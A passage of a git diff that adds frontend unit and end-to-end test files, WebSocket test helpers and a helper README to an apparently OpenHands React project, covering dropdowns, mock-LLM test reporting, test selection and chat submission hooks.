+  describe("testId prop", () => {
+    it("should apply custom testId to the root container", () => {
+      render(<Dropdown options={mockOptions} testId="org-dropdown" />);
+
+      expect(screen.getByTestId("org-dropdown")).toBeInTheDocument();
+    });
+  });
+
+  describe("Cursor position preservation", () => {
+    it("should keep menu open when clicking the input while dropdown is open", async () => {
+      // Without a stateReducer, Downshift's default InputClick behavior
+      // toggles the menu (closes it if already open). The stateReducer
+      // should override this to keep the menu open so users can click
+      // to reposition their cursor without losing the dropdown.
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      // Menu should be open
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+
+      // Click the input itself (simulates clicking to reposition cursor)
+      const input = screen.getByRole("combobox");
+      await user.click(input);
+
+      // Menu should still be open — not toggled closed
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+    });
+
+    it("should still filter options correctly after typing with cursor fix", async () => {
+      // Verifies that the direct onChange handler (which bypasses Downshift's
+      // default onInputValueChange for cursor preservation) still updates
+      // the search/filter state correctly.
+      const user = userEvent.setup();
+      render(<Dropdown options={mockOptions} />);
+
+      const trigger = screen.getByTestId("dropdown-trigger");
+      await user.click(trigger);
+
+      const input = screen.getByRole("combobox");
+      await user.type(input, "Option 1");
+
+      expect(screen.getByText("Option 1")).toBeInTheDocument();
+      expect(screen.queryByText("Option 2")).not.toBeInTheDocument();
+      expect(screen.queryByText("Option 3")).not.toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/e2e/mock-llm-folder-workspace-paths.test.ts b/__tests__/e2e/mock-llm-folder-workspace-paths.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..7582822f9a212e063759c70722da9c6c39ef11b4
--- /dev/null
+++ b/__tests__/e2e/mock-llm-folder-workspace-paths.test.ts
@@ -0,0 +1,43 @@
+import path from "node:path";
+import { describe, expect, it } from "vitest";
+
+import {
+  getFolderBrowserPathSegments,
+  getFolderBrowserRootPath,
+  resolveFolderWorkspacePaths,
+  TEST_DIR_NAME,
+  WORKSPACE_DIR_NAME,
+} from "../../tests/e2e/mock-llm/utils/folder-workspace-paths";
+
+describe("mock-LLM folder workspace paths", () => {
+  it("keeps npm-mode Windows host and agent-server paths identical", () => {
+    const tmpDir = String.raw`C:\Users\me\AppData\Local\Temp`;
+
+    const paths = resolveFolderWorkspacePaths({
+      tmpDir,
+      env: {},
+    });
+
+    const expectedBase = path.win32.join(tmpDir, WORKSPACE_DIR_NAME);
+    const expectedDir = path.win32.join(expectedBase, TEST_DIR_NAME);
+    expect(paths.hostDirBase).toBe(expectedBase);
+    expect(paths.containerDirBase).toBe(expectedBase);
+    expect(paths.hostDir).toBe(expectedDir);
+    expect(paths.testDir).toBe(expectedDir);
+  });
+
+  it("derives Windows folder-browser roots and path segments", () => {
+    const target = String.raw`C:\Users\me\AppData\Local\Temp\e2e-folder-workspace-test\my-test-project`;
+
+    expect(getFolderBrowserRootPath(target)).toBe("C:\\");
+    expect(getFolderBrowserPathSegments(target)).toEqual([
+      "Users",
+      "me",
+      "AppData",
+      "Local",
+      "Temp",
+      "e2e-folder-workspace-test",
+      "my-test-project",
+    ]);
+  });
+});
diff --git a/__tests__/e2e/mock-llm-reporting.test.ts b/__tests__/e2e/mock-llm-reporting.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..04a4b4adbc4477023498a2246597b20fe468d3a5
--- /dev/null
+++ b/__tests__/e2e/mock-llm-reporting.test.ts
@@ -0,0 +1,145 @@
+// @vitest-environment node
+import { afterEach, describe, expect, it, vi } from "vitest";
+
+import { renderReport } from "../../tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs";
+import {
+  buildCommentBody,
+  findMatchingJobComments,
+  upsertJobComment,
+} from "../../tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs";
+
+const MOCK_MARKER = "<!-- agent-canvas-mock-llm-e2e-report -->";
+
+describe("mock-LLM E2E reporting", () => {
+  it("keeps the summary visible while hiding the results table in details", () => {
+    const report = renderReport({
+      tests: [
+        {
+          title: "conversations/mock-llm-conversation.spec.ts › runs command",
+          file: "conversations/mock-llm-conversation.spec.ts",
+          status: "passed",
+          durationMs: 1250,
+          retryCount: 0,
+          error: "",
+        },
+      ],
+      workflowUrl:
+        "https://github.com/OpenHands/agent-canvas/actions/runs/28000401257",
+      commit: "82c9e1d04d62961e14742e20a4237ecd6db20ff0",
+      artifactUrl:
+        "https://github.com/OpenHands/agent-canvas/actions/runs/28000401257/artifacts/7811037798",
+      title: "Mock-LLM Docker E2E Test Results",
+      newFiles: [],
+      markerMeta: null,
+    });
+
+    const detailsIndex = report.indexOf("<details>");
+    const tableIndex = report.indexOf("| Status | Test | Duration |");
+    const visibleSummary = report.slice(0, detailsIndex);
+
+    expect(visibleSummary).toContain("## ✅ Mock-LLM Docker E2E Test Results");
+    expect(visibleSummary).toContain("**1/1 passed**");
+    expect(visibleSummary).toContain("Commit: `82c9e1d0`");
+    expect(visibleSummary).toContain("[Workflow run]");
+    expect(visibleSummary).toContain("[Test artifacts]");
+    expect(visibleSummary).not.toContain("| Status | Test | Duration |");
+    expect(visibleSummary).not.toContain("Posted by the Mock-LLM E2E workflow");
+    expect(report).toContain("<summary>Details</summary>");
+    expect(detailsIndex).toBeGreaterThan(-1);
+    expect(tableIndex).toBeGreaterThan(detailsIndex);
+  });
+
+  it("marks new comments and finds older comments for the same job", () => {
+    const body = "## ✅ Mock-LLM E2E Tests\n\n**60/60 passed**";
+
+    expect(buildCommentBody(body, MOCK_MARKER)).toBe(`${MOCK_MARKER}\n${body}`);
+    expect(buildCommentBody(`${MOCK_MARKER}\n${body}`, MOCK_MARKER)).toBe(
+      `${MOCK_MARKER}\n${body}`,
+    );
+
+    const matching = findMatchingJobComments(
+      [
+        {
+          id: 1,
+          body: `${MOCK_MARKER}\n## ✅ Mock-LLM E2E Tests`,
+          user: { login: "someone", type: "User" },
+        },
+        {
+          id: 2,
+          body: "## ✅ Mock-LLM E2E Tests\n\nolder unmarked body",
+          user: { login: "github-actions[bot]", type: "Bot" },
+        },
+        {
+          id: 3,
+          body: "## ✅ Mock-LLM E2E Tests\n\nhuman mention",
+          user: { login: "maintainer", type: "User" },
+        },
+        {
+          id: 4,
+          body: "## ✅ Mock-LLM Docker E2E Test Results\n\nother job",
+          user: { login: "github-actions[bot]", type: "Bot" },
+        },
+      ],
+      { marker: MOCK_MARKER, legacyTitle: "Mock-LLM E2E Tests" },
+    );
+
+    expect(matching.map((comment: { id: number }) => comment.id)).toEqual([
+      1, 2,
+    ]);
+  });
+
+  it("edits the existing report in place instead of reposting it", async () => {
+    const requests: { method: string; path: string }[] = [];
+    const fetchMock = vi
+      .spyOn(globalThis, "fetch")
+      .mockImplementation(async (url, init) => {
+        const method = init?.method ?? "GET";
+        const path =
+          new URL(String(url)).pathname + new URL(String(url)).search;
+        requests.push({ method, path });
+
+        if (method === "GET") {
+          return new Response(
+            JSON.stringify(
+              path.includes("page=1")
+                ? [
+                    { id: 11, body: "unrelated", user: { type: "User" } },
+                    {
+                      id: 22,
+                      body: `${MOCK_MARKER}\n## ✅ Mock-LLM E2E Tests`,
+                      user: { login: "github-actions[bot]", type: "Bot" },
+                    },
+                  ]
+                : [],
+            ),
+            { status: 200 },
+          );
+        }
+        return new Response(JSON.stringify({ id: 22 }), { status: 200 });
+      });
+
+    const result = await upsertJobComment({
+      repo: "OpenHands/OpenHands",
+      issueNumber: "16521",
+      token: "t",
+      body: "## ✅ Mock-LLM E2E Tests\n\n**62/62 passed**",
+      marker: MOCK_MARKER,
+      legacyTitle: "Mock-LLM E2E Tests",
+    });
+
+    expect(result).toMatchObject({ updated: true, deleted: 0 });
+    expect(requests.filter((r) => r.method === "PATCH")).toEqual([
+      {
+        method: "PATCH",
+        path: "/repos/OpenHands/OpenHands/issues/comments/22",
+      },
+    ]);
+    expect(requests.some((r) => r.method === "POST")).toBe(false);
+    expect(requests.some((r) => r.method === "DELETE")).toBe(false);
+    fetchMock.mockRestore();
+  });
+
+  afterEach(() => {
+    vi.restoreAllMocks();
+  });
+});
diff --git a/__tests__/e2e/resolve-affected-tests.test.ts b/__tests__/e2e/resolve-affected-tests.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..4156a2b449bc8fe46d85e8e9dedf6ed79e7efd65
--- /dev/null
+++ b/__tests__/e2e/resolve-affected-tests.test.ts
@@ -0,0 +1,118 @@
+// @vitest-environment node
+import { execFileSync } from "node:child_process";
+import { readFileSync } from "node:fs";
+import path from "node:path";
+import { fileURLToPath } from "node:url";
+import { describe, expect, it } from "vitest";
+
+const repoRoot = path.resolve(
+  path.dirname(fileURLToPath(import.meta.url)),
+  "../..",
+);
+
+const resolverPath = path.join(
+  repoRoot,
+  "tests/e2e/mock-llm/scripts/resolve-affected-tests.mjs",
+);
+const workflowPath = path.join(repoRoot, ".github/workflows/mock-llm-e2e.yml");
+const dockerWorkflowPath = path.join(
+  repoRoot,
+  ".github/workflows/mock-llm-docker-e2e.yml",
+);
+const ciWorkflowPath = path.join(repoRoot, ".github/workflows/ci.yml");
+
+function resolveAffectedTests(files: string[]) {
+  const output = execFileSync(
+    process.execPath,
+    [resolverPath, "--files", files.join(",")],
+    { cwd: repoRoot, encoding: "utf-8" },
+  ).trim();
+
+  return output.length > 0 ? output.split(/\s+/) : [];
+}
+
+describe("mock-LLM E2E affected test resolver", () => {
+  it("selects mapped source shards plus regressions", () => {
+    expect(
+      resolveAffectedTests(["src/components/features/settings/llm-form.tsx"]),
+    ).toEqual([
+      "tests/e2e/mock-llm/regressions",
+      "tests/e2e/mock-llm/settings",
+    ]);
+  });
+
+  it("runs the full suite for cross-cutting source changes", () => {
+    expect(resolveAffectedTests(["src/api/agent-server-adapter.ts"])).toEqual([
+      "__ALL__",
+    ]);
+  });
+
+  it("runs the full suite for unmapped source changes", () => {
+    expect(resolveAffectedTests(["src/utils/some-new-helper.ts"])).toEqual([
+      "__ALL__",
+    ]);
+  });
+
+  it("selects the containing feature subset for a test-only new spec change", () => {
+    expect(
+      resolveAffectedTests([
+        "tests/e2e/mock-llm/mcp/mock-llm-new-marketplace.spec.ts",
+      ]),
+    ).toEqual(["tests/e2e/mock-llm/mcp", "tests/e2e/mock-llm/regressions"]);
+  });
+
+  it("selects the exact root spec path defensively for misplaced new specs", () => {
+    expect(
+      resolveAffectedTests(["tests/e2e/mock-llm/mock-llm-new-root.spec.ts"]),
+    ).toEqual([
+      "tests/e2e/mock-llm/regressions",
+      "tests/e2e/mock-llm/mock-llm-new-root.spec.ts",
+    ]);
+  });
+
+  it.each([
+    ["public/favicon.ico"],
+    [".github/workflows/mock-llm-e2e.yml"],
+    ["tailwind.config.js"],
+    ["hero.ts"],
+    ["tests/e2e/mock-llm/test-mapping.json"],
+  ])("runs the full suite for relevant trigger path %s", (file) => {
+    expect(resolveAffectedTests([file])).toEqual(["__ALL__"]);
+  });
+
+  it("runs browser mock E2E after main updates or manual dispatch", () => {
+    const workflow = readFileSync(workflowPath, "utf-8");
+
+    expect(workflow).toContain("push:\n    branches: [main]");
+    expect(workflow).toContain("workflow_dispatch:");
+    expect(workflow).not.toContain("pull_request:");
+    expect(workflow).not.toContain("detect-pr-changes:");
+    expect(workflow).toContain("npm run test:e2e:mock-llm &");
+  });
+
+  it("runs Docker mock E2E after successful main builds or manual dispatch", () => {
+    const dockerWorkflow = readFileSync(dockerWorkflowPath, "utf-8");
+
+    expect(dockerWorkflow).toContain('workflows: ["Docker"]');
+    expect(dockerWorkflow).toContain("branches: [main]");
+    expect(dockerWorkflow).toContain("workflow_dispatch:");
+    expect(dockerWorkflow).not.toContain("pull_request:");
+    expect(dockerWorkflow).toContain(
+      "github.event.workflow_run.conclusion == 'success'",
+    );
+  });
+
+  it("runs live LLM E2E on main or by manual PR dispatch", () => {
+    const ciWorkflow = readFileSync(ciWorkflowPath, "utf-8");
+    const liveJob = ciWorkflow.slice(ciWorkflow.indexOf("  live-e2e:"));
+
+    expect(liveJob).toContain("github.event_name == 'workflow_dispatch'");
+    expect(liveJob).toContain(
+      "github.event_name == 'push' && github.ref == 'refs/heads/main'",
+    );
+    expect(liveJob).not.toContain("github.event_name == 'pull_request'");
+    expect(liveJob).toContain(
+      "LIVE_E2E_PR_NUMBER: ${{ inputs.pr_number || '' }}",
+    );
+  });
+});
diff --git a/__tests__/helpers/README.md b/__tests__/helpers/README.md
new file mode 100644
index 0000000000000000000000000000000000000000..c28a8bb8ec54f86c3d2de51b2a2248ee3c54ef79
--- /dev/null
+++ b/__tests__/helpers/README.md
@@ -0,0 +1,46 @@
+# Test Helpers
+
+This directory contains reusable test utilities and components for the OpenHands frontend test suite.
+
+## Files
+
+### `websocket-test-components.tsx`
+Contains React test components for accessing and displaying WebSocket-related store values:
+- `ConnectionStatusComponent` - Displays WebSocket connection state
+- `EventStoreComponent` - Displays event store values (events count, UI events count, latest event ID)
+- `OptimisticUserMessageStoreComponent` - Displays optimistic user message store values
+- `ErrorMessageStoreComponent` - Displays error message store values
+
+These components are designed to be used in tests to verify that WebSocket events are properly processed and stored.
+
+
+
+### `msw-websocket-setup.ts`
+Contains MSW (Mock Service Worker) setup utilities for WebSocket testing:
+- `createWebSocketLink()` - Creates a WebSocket link for MSW testing
+- `createWebSocketMockServer()` - Creates and configures an MSW server for WebSocket testing
+- `createWebSocketTestSetup()` - Creates a complete WebSocket testing setup
+- `conversationWebSocketTestSetup()` - Standard setup for conversation WebSocket handler tests
+
+## Usage
+
+```typescript
+import {
+  ConnectionStatusComponent,
+  EventStoreComponent,
+} from "./__tests__/helpers/websocket-test-components";
+import { conversationWebSocketTestSetup } from "./__tests__/helpers/msw-websocket-setup";
+
+// Set up MSW server
+const { wsLink, server } = conversationWebSocketTestSetup();
+
+// Render components with WebSocket context (helper function defined in test file)
+renderWithWebSocketContext(<ConnectionStatusComponent />);
+```
+
+## Benefits
+
+- **Reusability**: Test components and utilities can be shared across multiple test files
+- **Maintainability**: Changes to test setup only need to be made in one place
+- **Consistency**: Ensures consistent test setup across different WebSocket-related tests
+- **Readability**: Test files are cleaner and focus on test logic rather than setup boilerplate
diff --git a/__tests__/helpers/msw-websocket-setup.ts b/__tests__/helpers/msw-websocket-setup.ts
new file mode 100644
index 0000000000000000000000000000000000000000..114903e91a9bb697725b287dfbbf3d23ed32a9a5
--- /dev/null
+++ b/__tests__/helpers/msw-websocket-setup.ts
@@ -0,0 +1,44 @@
+import { ws } from "msw";
+import { setupServer } from "msw/node";
+
+/**
+ * Creates a WebSocket link for MSW testing
+ * @param url - WebSocket URL to mock (default: "ws://localhost/events/socket")
+ * @returns MSW WebSocket link
+ */
+export const createWebSocketLink = (url = "ws://localhost/events/socket") =>
+  ws.link(url);
+
+/**
+ * Creates and configures an MSW server for WebSocket testing
+ * @param wsLink - WebSocket link to use for the server
+ * @returns Configured MSW server
+ */
+export const createWebSocketMockServer = (wsLink: ReturnType<typeof ws.link>) =>
+  setupServer(
+    wsLink.addEventListener("connection", ({ server }) => {
+      server.connect();
+    }),
+  );
+
+/**
+ * Creates a complete WebSocket testing setup with server and link
+ * @param url - WebSocket URL to mock (default: "ws://localhost/events/socket")
+ * @returns Object containing the WebSocket link and configured server
+ */
+export const createWebSocketTestSetup = (
+  url = "ws://localhost/events/socket",
+) => {
+  const wsLink = createWebSocketLink(url);
+  const server = createWebSocketMockServer(wsLink);
+
+  return { wsLink, server };
+};
+
+/**
+ * Standard WebSocket test setup for conversation WebSocket handler tests
+ * Updated to use the V1 WebSocket URL pattern: /sockets/events/{conversationId}
+ * Uses a wildcard pattern to match any conversation ID
+ */
+export const conversationWebSocketTestSetup = () =>
+  createWebSocketTestSetup("ws://localhost:3000/sockets/events/*");
diff --git a/__tests__/helpers/websocket-test-components.tsx b/__tests__/helpers/websocket-test-components.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..b728a6bde329f4fb483ed133a186ae84a090d403
--- /dev/null
+++ b/__tests__/helpers/websocket-test-components.tsx
@@ -0,0 +1,73 @@
+import React from "react";
+import { useConversationWebSocket } from "#/contexts/conversation-websocket-context";
+import { useEventStore } from "#/stores/use-event-store";
+import { useErrorMessageStore } from "#/stores/error-message-store";
+import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store";
+import { isAgentServerEvent } from "#/types/agent-server/type-guards";
+import { OpenHandsEvent } from "#/types/agent-server/core";
+
+/**
+ * Test component to access and display WebSocket connection state
+ */
+export function ConnectionStatusComponent() {
+  const context = useConversationWebSocket();
+
+  return (
+    <div>
+      <div data-testid="connection-state">
+        {context?.connectionState || "NOT_AVAILABLE"}
+      </div>
+    </div>
+  );
+}
+
+/**
+ * Test component to access and display event store values
+ */
+export function EventStoreComponent() {
+  const { events, uiEvents } = useEventStore();
+  return (
+    <div>
+      <div data-testid="events-count">{events.length}</div>
+      <div data-testid="ui-events-count">{uiEvents.length}</div>
+      <div data-testid="latest-event-id">
+        {isAgentServerEvent(events[events.length - 1])
+          ? (events[events.length - 1] as OpenHandsEvent).id
+          : "none"}
+      </div>
+    </div>
+  );
+}
+
+/**
+ * Test component to access and display the queue of pending user messages
+ * tracked locally until the WebSocket echoes them back.
+ */
+export function OptimisticUserMessageStoreComponent() {
+  const { pendingMessages } = useOptimisticUserMessageStore();
+  return (
+    <div>
+      <div data-testid="optimistic-user-message">
+        {pendingMessages[0]?.text || "none"}
+      </div>
+      <div data-testid="optimistic-user-message-count">
+        {pendingMessages.length}
+      </div>
+      <div data-testid="optimistic-user-message-statuses">
+        {pendingMessages.map((m) => m.status).join(",") || "none"}
+      </div>
+    </div>
+  );
+}
+
+/**
+ * Test component to access and display error message store values
+ */
+export function ErrorMessageStoreComponent() {
+  const { errorMessage } = useErrorMessageStore();
+  return (
+    <div>
+      <div data-testid="error-message">{errorMessage || "none"}</div>
+    </div>
+  );
+}
diff --git a/__tests__/hooks/chat/chat-submission-behavior.test.tsx b/__tests__/hooks/chat/chat-submission-behavior.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..52a71dc1ce55990e5b93b84837e96e636a0bb356
--- /dev/null
+++ b/__tests__/hooks/chat/chat-submission-behavior.test.tsx
@@ -0,0 +1,224 @@
+import { act, renderHook } from "@testing-library/react";
+import type { RefObject } from "react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { useChatSubmission } from "#/hooks/chat/use-chat-submission";
+import { useConversationStore } from "#/stores/conversation-store";
+
+interface SubmissionProps {
+  chatInputRef: RefObject<HTMLDivElement | null>;
+  fileInputRef: RefObject<HTMLInputElement | null>;
+  smartResize: () => void;
+  onSubmit: (message: string) => void;
+  resetManualResize?: () => void;
+}
+
+const createChatInput = (message: string) => {
+  const element = document.createElement("div");
+  element.contentEditable = "true";
+  element.textContent = message;
+  Object.defineProperty(element, "innerText", {
+    configurable: true,
+    writable: true,
+    value: message,
+  });
+  document.body.appendChild(element);
+
+  return {
+    element,
+    ref: { current: element } as RefObject<HTMLDivElement | null>,
+  };
+};
+
+const createFileInput = (fileName: string) => {
+  const element = document.createElement("input");
+  element.type = "file";
+  Object.defineProperty(element, "value", {
+    configurable: true,
+    writable: true,
+    value: `C:\\fakepath\\${fileName}`,
+  });
+  document.body.appendChild(element);
+
+  return {
+    element,
+    ref: { current: element } as RefObject<HTMLInputElement | null>,
+  };
+};
+
+const renderSubmission = (props: SubmissionProps) =>
+  renderHook(
+    (currentProps: SubmissionProps) =>
+      useChatSubmission(
+        currentProps.chatInputRef,
+        currentProps.fileInputRef,
+        currentProps.smartResize,
+        currentProps.onSubmit,
+        currentProps.resetManualResize,
+      ),
+    { initialProps: props },
+  );
+
+const setAttachments = ({
+  images = [],
+  files = [],
+}: {
+  images?: File[];
+  files?: File[];
+} = {}) => useConversationStore.setState({ images, files });
+
+afterEach(() => {
+  setAttachments();
+  document.body.replaceChildren();
+  vi.restoreAllMocks();
+});
+
+describe("chat submission behavior", () => {
+  it("keeps a blank draft untouched when there are no attachments", () => {
+    setAttachments();
+    const chatInput = createChatInput("  \n  ");
+    const fileInput = createFileInput("draft.txt");
+    const onSubmit = vi.fn();
+    const smartResize = vi.fn();
+    const resetManualResize = vi.fn();
+    const { result } = renderSubmission({
+      chatInputRef: chatInput.ref,
+      fileInputRef: fileInput.ref,
+      smartResize,
+      onSubmit,
+      resetManualResize,
+    });
+
+    act(() => result.current.handleSubmit());
+
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(chatInput.element.textContent).toBe("  \n  ");
+    expect(fileInput.element.value).toBe("C:\\fakepath\\draft.txt");
+    expect(smartResize).not.toHaveBeenCalled();
+    expect(resetManualResize).not.toHaveBeenCalled();
+  });
+
+  it("submits the exact draft and clears both inputs before resetting size", () => {
+    setAttachments();
+    const chatInput = createChatInput("  Keep my spacing  \n");
+    const fileInput = createFileInput("notes.txt");
+    const callOrder: string[] = [];
+    const onSubmit = vi.fn((message: string) => {
+      callOrder.push(`submit:${message}`);
+    });
+    const smartResize = vi.fn(() => callOrder.push("resize"));
+    const resetManualResize = vi.fn(() => callOrder.push("reset"));
+    const { result } = renderSubmission({
+      chatInputRef: chatInput.ref,
+      fileInputRef: fileInput.ref,
+      smartResize,
+      onSubmit,
+      resetManualResize,
+    });
+
+    act(() => result.current.handleSubmit());
+
+    expect(onSubmit).toHaveBeenCalledWith("  Keep my spacing  \n");
+    expect(chatInput.element.textContent).toBe("");
+    expect(fileInput.element.value).toBe("");
+    expect(callOrder).toEqual([
+      "submit:  Keep my spacing  \n",
+      "resize",
+      "reset",
+    ]);
+  });
+
+  it("submits an image without text", () => {
+    const image = new File(["image"], "diagram.png", { type: "image/png" });
+    setAttachments({ images: [image] });
+    const chatInput = createChatInput("");
+    const onSubmit = vi.fn();
+    const smartResize = vi.fn();
+    const { result } = renderSubmission({
+      chatInputRef: chatInput.ref,
+      fileInputRef: { current: null },
+      smartResize,
+      onSubmit,
+    });
+
+    act(() => result.current.handleSubmit());
+
+    expect(onSubmit).toHaveBeenCalledWith("");
+    expect(smartResize).toHaveBeenCalledOnce();
+  });
+
+  it("submits a regular file when the chat input is not mounted", () => {
+    const file = new File(["notes"], "notes.txt", { type: "text/plain" });
+    setAttachments({ files: [file] });
+    const onSubmit = vi.fn();
+    const smartResize = vi.fn();
+    const { result } = renderSubmission({
+      chatInputRef: { current: null },
+      fileInputRef: { current: null },
+      smartResize,
+      onSubmit,
+    });
+
+    act(() => result.current.handleSubmit());
+
+    expect(onSubmit).toHaveBeenCalledWith("");
+    expect(smartResize).toHaveBeenCalledOnce();
+  });
+
+  it("runs the stop callback when provided and remains safe without one", () => {
+    const onStop = vi.fn();
+    const { result } = renderSubmission({
+      chatInputRef: { current: null },
+      fileInputRef: { current: null },
+      smartResize: vi.fn(),
+      onSubmit: vi.fn(),
+    });
+
+    act(() => {
+      result.current.handleStop(onStop);
+      result.current.handleStop();
+    });
+
+    expect(onStop).toHaveBeenCalledOnce();
+  });
+
+  it("uses the latest inputs and callbacks after rerender", () => {
+    setAttachments();
+    const firstChatInput = createChatInput("first draft");
+    const firstFileInput = createFileInput("first.txt");
+    const firstSubmit = vi.fn();
+    const firstResize = vi.fn();
+    const firstReset = vi.fn();
+    const hook = renderSubmission({
+      chatInputRef: firstChatInput.ref,
+      fileInputRef: firstFileInput.ref,
+      smartResize: firstResize,
+      onSubmit: firstSubmit,
+      resetManualResize: firstReset,
+    });
+    const latestChatInput = createChatInput("latest draft");
+    const latestFileInput = createFileInput("latest.txt");
+    const latestSubmit = vi.fn();
+    const latestResize = vi.fn();
+    const latestReset = vi.fn();
+
+    hook.rerender({
+      chatInputRef: latestChatInput.ref,
+      fileInputRef: latestFileInput.ref,
+      smartResize: latestResize,
+      onSubmit: latestSubmit,
+      resetManualResize: latestReset,
+    });
+    act(() => hook.result.current.handleSubmit());
+
+    expect(firstSubmit).not.toHaveBeenCalled();
+    expect(firstResize).not.toHaveBeenCalled();
+    expect(firstReset).not.toHaveBeenCalled();
+    expect(firstChatInput.element.textContent).toBe("first draft");
+    expect(firstFileInput.element.value).toBe("C:\\fakepath\\first.txt");
+    expect(latestSubmit).toHaveBeenCalledWith("latest draft");
+    expect(latestResize).toHaveBeenCalledOnce();
+    expect(latestReset).toHaveBeenCalledOnce();
+    expect(latestChatInput.element.textContent).toBe("");
+    expect(latestFileInput.element.value).toBe("");
+  });
+});
diff --git a/__tests__/hooks/chat/model-command-event-anchor.test.ts b/__tests__/hooks/chat/model-command-event-anchor.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..c3e2f1d609412d8a2ce1ac0ecb5e437841bd8571
--- /dev/null
+++ b/__tests__/hooks/chat/model-command-event-anchor.test.ts
@@ -0,0 +1,32 @@
+import { beforeEach, describe, expect, it } from "vitest";
+import { getLastRenderableEventId } from "#/hooks/chat/model-command-event-anchor";
+import { useEventStore } from "#/stores/use-event-store";
+import {
+  createOtherActionEvent,
+  createPlanningFileEditorActionEvent,
+  createUserMessageEvent,
+} from "test-utils";
+
+describe("getLastRenderableEventId", () => {
+  beforeEach(() => {
+    useEventStore.getState().clearEvents();
+  });
+
+  it("returns null when no renderable events exist", () => {
+    useEventStore
+      .getState()
+      .addEvent(createPlanningFileEditorActionEvent("plan"));
+
+    expect(getLastRenderableEventId()).toBeNull();
+  });
+
+  it("returns the latest renderable UI event id as a string", () => {
+    useEventStore.getState().addEvent(createUserMessageEvent("message-1"));
+    useEventStore
+      .getState()
+      .addEvent(createPlanningFileEditorActionEvent("plan"));
+    useEventStore.getState().addEvent(createOtherActionEvent("action-1"));
+
+    expect(getLastRenderableEventId()).toBe("action-1");
+  });
+});
diff --git a/__tests__/hooks/chat/use-btw-interceptor.test.ts b/__tests__/hooks/chat/use-btw-interceptor.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..f42696e970c2301e90d307f38f3408b1f58ceeee
--- /dev/null
+++ b/__tests__/hooks/chat/use-btw-interceptor.test.ts
@@ -0,0 +1,65 @@
+import { act, renderHook, waitFor } from "@testing-library/react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { useBtwInterceptor } from "#/hooks/chat/use-btw-interceptor";
+import { useBtwStore } from "#/stores/btw-store";
+
+const mockAskAgent = vi.hoisted(() =>
+  vi.fn<(id: string, q: string) => Promise<{ response: string }>>(),
+);
+
+vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({
+  askAgent: (id: string, q: string) => mockAskAgent(id, q),
+}));
+
+const CONV = "conv-1";
+const entries = () => useBtwStore.getState().entriesByConversation[CONV] ?? [];
+
+describe("useBtwInterceptor", () => {
+  beforeEach(() => {
+    useBtwStore.setState({ entriesByConversation: {} });
+    mockAskAgent.mockReset();
+  });
+
+  it("falls through to onSubmit for non-/btw messages", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useBtwInterceptor(CONV, onSubmit));
+    act(() => result.current("hello world"));
+    expect(onSubmit).toHaveBeenCalledWith("hello world");
+    expect(mockAskAgent).not.toHaveBeenCalled();
+    expect(entries()).toEqual([]);
+  });
+
+  it("intercepts /btw, calls askAgent, and resolves the entry", async () => {
+    mockAskAgent.mockResolvedValueOnce({ response: "because" });
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useBtwInterceptor(CONV, onSubmit));
+
+    act(() => result.current("/btw why?"));
+
+    expect(onSubmit).not.toHaveBeenCalled();
+    expect(mockAskAgent).toHaveBeenCalledWith(CONV, "why?");
+    expect(entries()[0]).toMatchObject({ question: "why?", status: "pending" });
+
+    await waitFor(() => expect(entries()[0].status).toBe("done"));
+    expect(entries()[0]).toMatchObject({
+      response: "because",
+      status: "done",
+    });
+  });
+
+  it("marks the entry as error when askAgent rejects", async () => {
+    mockAskAgent.mockRejectedValueOnce(new Error("boom"));
+    const { result } = renderHook(() => useBtwInterceptor(CONV, vi.fn()));
+    act(() => result.current("/btw why?"));
+    await waitFor(() => expect(entries()[0].status).toBe("error"));
+    expect(entries()[0].response).toBe("boom");
+  });
+
+  it("falls through when conversationId is null", () => {
+    const onSubmit = vi.fn();
+    const { result } = renderHook(() => useBtwInterceptor(null, onSubmit));
+    act(() => result.current("/btw why?"));
+    expect(onSubmit).toHaveBeenCalledWith("/btw why?");
+    expect(mockAskAgent).not.toHaveBeenCalled();
+  });
+});
diff --git a/__tests__/hooks/chat/use-chat-attachment-upload.test.tsx b/__tests__/hooks/chat/use-chat-attachment-upload.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..0120c315e40b8d4af9c358978e26d6a711c8a94e
--- /dev/null
+++ b/__tests__/hooks/chat/use-chat-attachment-upload.test.tsx
@@ -0,0 +1,189 @@
+import { act, renderHook } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { useChatAttachmentUpload } from "#/hooks/chat/use-chat-attachment-upload";
+
+const {
+  validateFilesMock,
+  processFilesMock,
+  processImagesMock,
+  displayErrorToastMock,
+  store,
+} = vi.hoisted(() => ({
+  validateFilesMock: vi.fn(),
+  processFilesMock: vi.fn(),
+  processImagesMock: vi.fn(),
+  displayErrorToastMock: vi.fn(),
+  store: {
+    images: [] as File[],
+    files: [] as File[],
+    addImages: vi.fn(),
+    addFiles: vi.fn(),
+    addFileLoading: vi.fn(),
+    removeFileLoading: vi.fn(),
+    addImageLoading: vi.fn(),
+    removeImageLoading: vi.fn(),
+    markImagesAsPasted: vi.fn(),
+  },
+}));
+
+vi.mock("#/utils/file-validation", () => ({
+  validateFiles: (...args: unknown[]) => validateFilesMock(...args),
+}));
+
+vi.mock("#/utils/file-processing", () => ({
+  processFiles: (...args: unknown[]) => processFilesMock(...args),
+  processImages: (...args: unknown[]) => processImagesMock(...args),
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
